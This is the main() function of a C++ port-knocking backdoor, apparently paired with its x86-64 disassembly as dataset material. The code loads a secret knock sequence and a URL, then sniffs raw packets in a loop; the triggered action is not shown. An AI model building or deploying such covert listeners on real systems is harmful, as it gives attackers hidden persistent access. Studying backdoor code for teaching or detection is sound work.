// File: /workspace/github_cpp_makefile_star2_O1/sharmin-lalani[P]Port-knocking-Backdoor/backdoor.cpp
// Function: main
int main(int argv, char** argc) {

	FILE *config_file; 
	int sock_raw, packet_size;
	__u16 port_num;
	char *url;
         
    	unsigned char *buffer = (unsigned char *) malloc(65536); //Its Big!
     
	// parse the config file   	
	config_file = fopen(argc[1],"r");
    	if(config_file == NULL) {
        	printf("Unable to open config file.\n");
		return -1;
    	}

	while (fscanf(config_file, "%hu", &port_num) == 1) {
		//printf("%d\n", port_num);
		port_knocking_seq.push_back(port_num);
	}
	fclose(config_file);

	// parse the URL
	url = argc[2];

	if (sscanf(url, "http://%99[^:]:%i/%199[^\n]", urlHost, &urlPort, urlPage) == 3);
		else if (sscanf(url, "http://%99[^/]/%199[^\n]", urlHost, urlPage) == 2);
			else if (sscanf(url, "http://%99[^:]:%i[^\n]", urlHost, &urlPort) == 2);
				else sscanf(url, "http://%99[^\n]", urlHost);
     
    	//printf("host:%s port:%u page:%s\n", urlHost, urlPort, urlPage);

	/*
	We Need to use raw sockets for this program. 
	Stream sockets and data gram sockets receive data from the transport layer that contains no headers but only the payload. 
	This means that there is no information about the source IP address and port numbers. 
	If applications running on the same machine or on different machines are communicating, then they are only exchanging data.
	A raw socket allows an application to directly access lower level protocols, which means a raw socket receives un-extracted packets. 
	There is no need to provide the port and IP address to a raw socket.
	*/

	sock_raw=socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	//sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
	if(sock_raw < 0) {
		printf("error in socket\n");
		return -1;
	}

	while(1) {
        	//Receive a packet
        	packet_size = recvfrom(sock_raw , buffer , 65536 , 0 , NULL, 0);
        	if(packet_size < 0 ) {
            		printf("Recvfrom error , failed to get packets\n");
            		return -1;
        	}
        
        	//Now process the packet
        	ProcessPacket(buffer, packet_size);

	}
	close(sock_raw);	
	return 0;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x18, %rsp
movq %rsi, %r14
movl $0x10000, %edi          # imm = 0x10000
callq 0x11d0
movq %rax, %rbx
movq 0x8(%r14), %rdi
leaq 0xbec(%rip), %rsi       # 0x2004
callq 0x11c0
testq %rax, %rax
je 0x1597
movq %rax, %r15
movq %r14, -0x38(%rbp)
leaq 0xbd2(%rip), %rsi       # 0x2006
leaq -0x2a(%rbp), %rdx
movq %rax, %rdi
xorl %eax, %eax
callq 0x1230
cmpl $0x1, %eax
jne 0x149d
leaq 0x2d12(%rip), %r12      # 0x4160
leaq -0x2a(%rbp), %r13
leaq 0xbad(%rip), %r14       # 0x2006
movq 0x2d08(%rip), %rsi      # 0x4168
cmpq 0x2d09(%rip), %rsi      # 0x4170
je 0x147d
movzwl -0x2a(%rbp), %eax
movw %ax, (%rsi)
addq $0x2, %rsi
movq %rsi, 0x2ced(%rip)      # 0x4168
jmp 0x1488
movq %r12, %rdi
movq %r13, %rdx
callq 0x191c
movq %r15, %rdi
movq %r14, %rsi
movq %r13, %rdx
xorl %eax, %eax
callq 0x1230
cmpl $0x1, %eax
je 0x1459
movq %r15, %rdi
callq 0x1170
movq -0x38(%rbp), %rax
movq 0x10(%rax), %r14
leaq 0xb56(%rip), %rsi       # 0x200a
leaq 0x2cf5(%rip), %rdx      # 0x41b0
leaq 0x2c76(%rip), %rcx      # 0x4138
leaq 0x2ee7(%rip), %r8       # 0x43b0
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
cmpl $0x3, %eax
je 0x1538
leaq 0xb46(%rip), %rsi       # 0x2025
leaq 0x2cca(%rip), %rdx      # 0x41b0
leaq 0x2ec3(%rip), %rcx      # 0x43b0
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
cmpl $0x2, %eax
je 0x1538
leaq 0xb3a(%rip), %rsi       # 0x203d
leaq 0x2ca6(%rip), %rdx      # 0x41b0
leaq 0x2c27(%rip), %rcx      # 0x4138
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
cmpl $0x2, %eax
je 0x1538
leaq 0xb2c(%rip), %rsi       # 0x2053
leaq 0x2c82(%rip), %rdx      # 0x41b0
movq %r14, %rdi
xorl %eax, %eax
callq 0x1160
movl $0x11, %edi
movl $0x3, %esi
movl $0x8, %edx
callq 0x1060
testl %eax, %eax
js 0x15a0
movl %eax, %r14d
movl $0x10000, %edx          # imm = 0x10000
movl %eax, %edi
movq %rbx, %rsi
xorl %ecx, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq 0x1100
leaq 0xb2a(%rip), %r15       # 0x209b
testl %eax, %eax
js 0x15a7
movq %rbx, %rdi
callq 0x15c3
movl $0x10000, %edx          # imm = 0x10000
movl %r14d, %edi
movq %rbx, %rsi
xorl %ecx, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq 0x1100
jmp 0x1571
leaq 0xb34(%rip), %r15       # 0x20d2
jmp 0x15a7
leaq 0xb1b(%rip), %r15       # 0x20c2
movq %r15, %rdi
callq 0x11f0
movl $0xffffffff, %eax       # imm = 0xFFFFFFFF
addq $0x18, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq